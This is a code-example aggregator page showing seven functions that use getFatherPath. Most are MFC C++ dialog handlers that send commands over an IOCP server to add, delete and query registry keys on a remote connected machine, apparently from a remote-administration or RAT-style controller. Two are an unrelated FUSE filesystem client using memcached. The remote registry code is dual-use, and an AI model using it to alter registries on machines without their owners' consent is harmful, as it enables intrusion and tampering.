Exemplo n.º 1
0
//删除键   COMMAND_REG_DELKEY
void CRegDlg::OnReglDelkey() 
{
	// TODO: Add your command handler code here
	REGMSG msg;
	
	int index=m_list.GetSelectionMark();
	
	CString FullPath=GetFullPath(SelectNode);      //得到全路径
	char bToken=getFatherPath(FullPath);
	
	CString key=m_list.GetItemText(index,0);      //得到键名
    
	msg.size=FullPath.GetLength();              //  项名大小
	msg.valsize=key.GetLength();               //键名大小
    
	int datasize=sizeof(msg)+msg.size+msg.valsize+4;
	char *buf=new char[datasize];
	ZeroMemory(buf,datasize);
	
    buf[0]=COMMAND_REG_DELKEY;     //命令头
	buf[1]=bToken;              //主键
	memcpy(buf+2,(void*)&msg,sizeof(msg));                     //数据头
	if(msg.size>0)        //根键 就不用写项了
		memcpy(buf+2+sizeof(msg),FullPath.GetBuffer(0),FullPath.GetLength());  //项值
	memcpy(buf+2+sizeof(msg)+FullPath.GetLength(),key.GetBuffer(0),key.GetLength());  //键值
	how=3;
	this->index=index;
    m_iocpServer->Send(m_pContext, (LPBYTE)(buf), datasize);
	delete[] buf;

}
Exemplo n.º 2
0
void CRegDlg::OnRegtDel() 
{
	// TODO: Add your command handler code here
	CString FullPath=GetFullPath(SelectNode);      //得到全路径
	char bToken=getFatherPath(FullPath);
	//        COMMAND_REG_DELPATH
	
    FullPath.Insert(0,bToken);//插入  那个根键
	bToken=COMMAND_REG_DELPATH;
    FullPath.Insert(0,bToken);      //插入查询命令
    how=1;
	m_iocpServer->Send(m_pContext, (LPBYTE)(FullPath.GetBuffer(0)), FullPath.GetLength()+1);

}
Exemplo n.º 3
0
int borrarDir(const char *path) {
	int exit = 0;
	char key[255] = "LC";
	char* fatherPath = getFatherPath(path);
	strcat(key, fatherPath);
	memcached_st* memcached = connectionPool_extractAvaibleMemcached(pools);
	memcached_delete(memcached, (const char*) key, strlen(key), (time_t) 0);
	char mensajeCacheActualizarEntradaDir[255];
	sprintf(mensajeCacheActualizarEntradaDir,
			"Operacion: Actualizar Cache - path:%s", path);
	log_debug(teLogueo, mensajeCacheActualizarEntradaDir);
	char key2[255] = "AC";
	strcat(key2, path);
	memcached_delete(memcached, (const char*) key2, strlen(key2), (time_t) 0);
	char mensajeCacheActualizarAtributos[255];
	sprintf(mensajeCacheActualizarAtributos,
			"Operacion: Actualizar Cache - path:%s", path);
	log_debug(teLogueo, mensajeCacheActualizarAtributos);
	//memcached_finishHer(memcached, &servers);
	connectionPool_depositeAvaibleMemcached(pools, memcached);
	t_stream *stream = serializar_pedido_nombre(BORRAR_DIR, path);
	int descriptor = connectionPool_extractAvaibleSocket(pools);
	enviar_paquete(descriptor, stream->data, stream->length);
	char mensaje[255];
	sprintf(mensaje, "Operacion: Borrar Directorio - path:%s", path);
	log_debug(teLogueo, mensaje);
	char *mensaje_recibido = recibir_paquete(descriptor, 3);
	t_header *header = deserializadorHeader(mensaje_recibido);
	if (header->type == NO_EXISTE) {
		connectionPool_depositeAvaibleSocket(pools, descriptor);
		perror("No existe el directorio");
		return -ENOENT;
	}
	if (header->type == NAME_TOO_LONG) {
		connectionPool_depositeAvaibleSocket(pools, descriptor);
		perror("El nombre es demasiado largo");
		return -ENAMETOOLONG;
	}
	if (header->type == NO_ESTA_VACIO) {
		connectionPool_depositeAvaibleSocket(pools, descriptor);
		perror("El dir no esta vacio");
		return -ENOTEMPTY;
	}
	free(header);
	free(mensaje_recibido);
	free(stream);
	connectionPool_depositeAvaibleSocket(pools, descriptor);
	return exit;
}
Exemplo n.º 4
0
void CRegDlg::OnReglDword() 
{
	// TODO: Add your command handler code here
	CRegDataDlg dlg(this);
	dlg.isDWORD=true;
	if(isEdit){                //是编辑
		dlg.m_path=Key;
		dlg.m_key=Value;   
		dlg.EPath=true;
		
	}
	dlg.DoModal();
	if(dlg.isOK){
		CString FullPath=GetFullPath(SelectNode);      //得到全路径
		char bToken=getFatherPath(FullPath);
		DWORD size=1+1+1+sizeof(REGMSG)+FullPath.GetLength()+dlg.m_path.GetLength()+dlg.m_key.GetLength()+6;
		char* buf=new char[size];
		//char	*buf = (char *)LocalAlloc(LPTR, size);
		ZeroMemory(buf,size);
        
		REGMSG msg;
		msg.count=FullPath.GetLength();            //项大小
		msg.size=dlg.m_path.GetLength();          //键大小
		msg.valsize=dlg.m_key.GetLength();        //数据大小
		
		buf[0]= COMMAND_REG_CREATKEY;               //数据头
		buf[1]=MREG_DWORD;                           //值类型
		buf[2]=bToken;                           //父键
		memcpy(buf+3,(void*)&msg,sizeof(msg));                     //数据头
		char* tmp=buf+3+sizeof(msg);
		if(msg.count>0)
			memcpy(tmp,FullPath.GetBuffer(0),msg.count);        //项  
		tmp+=msg.count;
		memcpy(tmp,dlg.m_path.GetBuffer(0),msg.size);          //键名
		tmp+=msg.size;
		memcpy(tmp,dlg.m_key.GetBuffer(0),msg.valsize);          //值
		tmp=buf+3+sizeof(msg);
		
		// 善后
		type=MREG_DWORD;
		how=4;
		Key=dlg.m_path;
		Value=dlg.m_key;
		//
		m_iocpServer->Send(m_pContext, (LPBYTE)(buf), size);
		delete[] buf;
		//LocalFree(buf);
	}
}
Exemplo n.º 5
0
int create_file(const char *path, mode_t mode, struct fuse_file_info *info) {
	int exit = 0;
	char key[255] = "LC";
	char* fatherPath = getFatherPath(path);
	strcat(key, fatherPath);
	memcached_st* memcached = connectionPool_extractAvaibleMemcached(pools);
	memcached_delete(memcached, (const char*) key, strlen(key), (time_t) 0);
	char mensajeCache[255];
	sprintf(mensajeCache, "Operacion: Actualizar Cache - path:%s", path);
	log_debug(teLogueo, mensajeCache);
	//memcached_finishHer(memcached, &servers);
	connectionPool_depositeAvaibleMemcached(pools, memcached);
	t_stream *stream = serializar_pedido_modo_nombre(CREATE_FILE, path, mode);
	int descriptor = connectionPool_extractAvaibleSocket(pools);
	enviar_paquete(descriptor, stream->data, stream->length);
	char mensaje[255];
	sprintf(mensaje, "Operacion: Crear Archivo - path:%s", path);
	log_debug(teLogueo, mensaje);
	char *mensaje_recibido = recibir_paquete(descriptor, 3);
	t_header *header = deserializadorHeader(mensaje_recibido);
	if (header->type == YA_EXISTE) {
		connectionPool_depositeAvaibleSocket(pools, descriptor);

		perror("No existe el directorio");
		return -EEXIST;
	}
	if (header->type == NAME_TOO_LONG) {
		connectionPool_depositeAvaibleSocket(pools, descriptor);

		perror("El nombre es demasiado largo");
		return -ENAMETOOLONG;
	}
	if (header->type == ESTA_LLENO) {
		connectionPool_depositeAvaibleSocket(pools, descriptor);
		perror("esta lleno\n");
		return -EPERM;
	}
	free(header);
	free(mensaje_recibido);
	free(stream);
	connectionPool_depositeAvaibleSocket(pools, descriptor);
	return exit;
}
Exemplo n.º 6
0
void CRegDlg::OnSelchangedTree(NMHDR* pNMHDR, LRESULT* pResult) 
{
	NM_TREEVIEW* pNMTreeView = (NM_TREEVIEW*)pNMHDR;
	// TODO: Add your control notification handler code here
	if(!isEnable) return;
	TVITEM item = pNMTreeView->itemNew;
	
	if(item.hItem == m_hRoot)
	{
		return;
	}
    SelectNode=item.hItem;			//保存用户打开的子树节点句柄
    m_list.DeleteAllItems();
	
	CString FullPath=GetFullPath(SelectNode);
    m_wndStatusBar.SetPaneText(0,FullPath);
	HTREEITEM CurrentNode =  item.hItem; //取得此节点的全路径
	
	while(m_tree.GetChildItem(CurrentNode)!=NULL)
	{
		m_tree.DeleteItem(m_tree.GetChildItem(CurrentNode));        //删除 会产生 OnSelchangingTree事件 ***
	}
	
	char bToken=getFatherPath(FullPath);
	//愈加一个键
	int nitem=m_list.InsertItem(0,"(默认)",0);
	m_list.SetItemText(nitem,1,"REG_SZ");	
	m_list.SetItemText(nitem,2,"(数值未设置)");
	//BeginWaitCursor(); 
	//char *buf=new char[FullPath.GetLength]
	FullPath.Insert(0,bToken);//插入  那个根键
	bToken=COMMAND_REG_FIND;
    FullPath.Insert(0,bToken);      //插入查询命令
	
    EnableCursor(false);
	m_iocpServer->Send(m_pContext, (LPBYTE)(FullPath.GetBuffer(0)), FullPath.GetLength()+1);
	*pResult = 0;
}
Exemplo n.º 7
0
void CRegDlg::OnRegtCreat() 
{
	// TODO: Add your command handler code here
	CRegDataDlg dlg(this);
	//dlg.EnableKey();
	dlg.EKey=true;
	dlg.DoModal();
	if(dlg.isOK){
		//MessageBox(dlg.m_path);   COMMAND_REG_CREATEPATH
		CString FullPath=GetFullPath(SelectNode);      //得到全路径
		//FullPath+="\\";
		FullPath+=dlg.m_path;
		char bToken=getFatherPath(FullPath);
		//        COMMAND_REG_DELPATH
		
		FullPath.Insert(0,bToken);//插入  那个根键
	       bToken=COMMAND_REG_CREATEPATH;
           FullPath.Insert(0,bToken);      //插入查询命令
           how=2;
		   Path=dlg.m_path;
		   m_iocpServer->Send(m_pContext, (LPBYTE)(FullPath.GetBuffer(0)), FullPath.GetLength()+1);
           
	}
}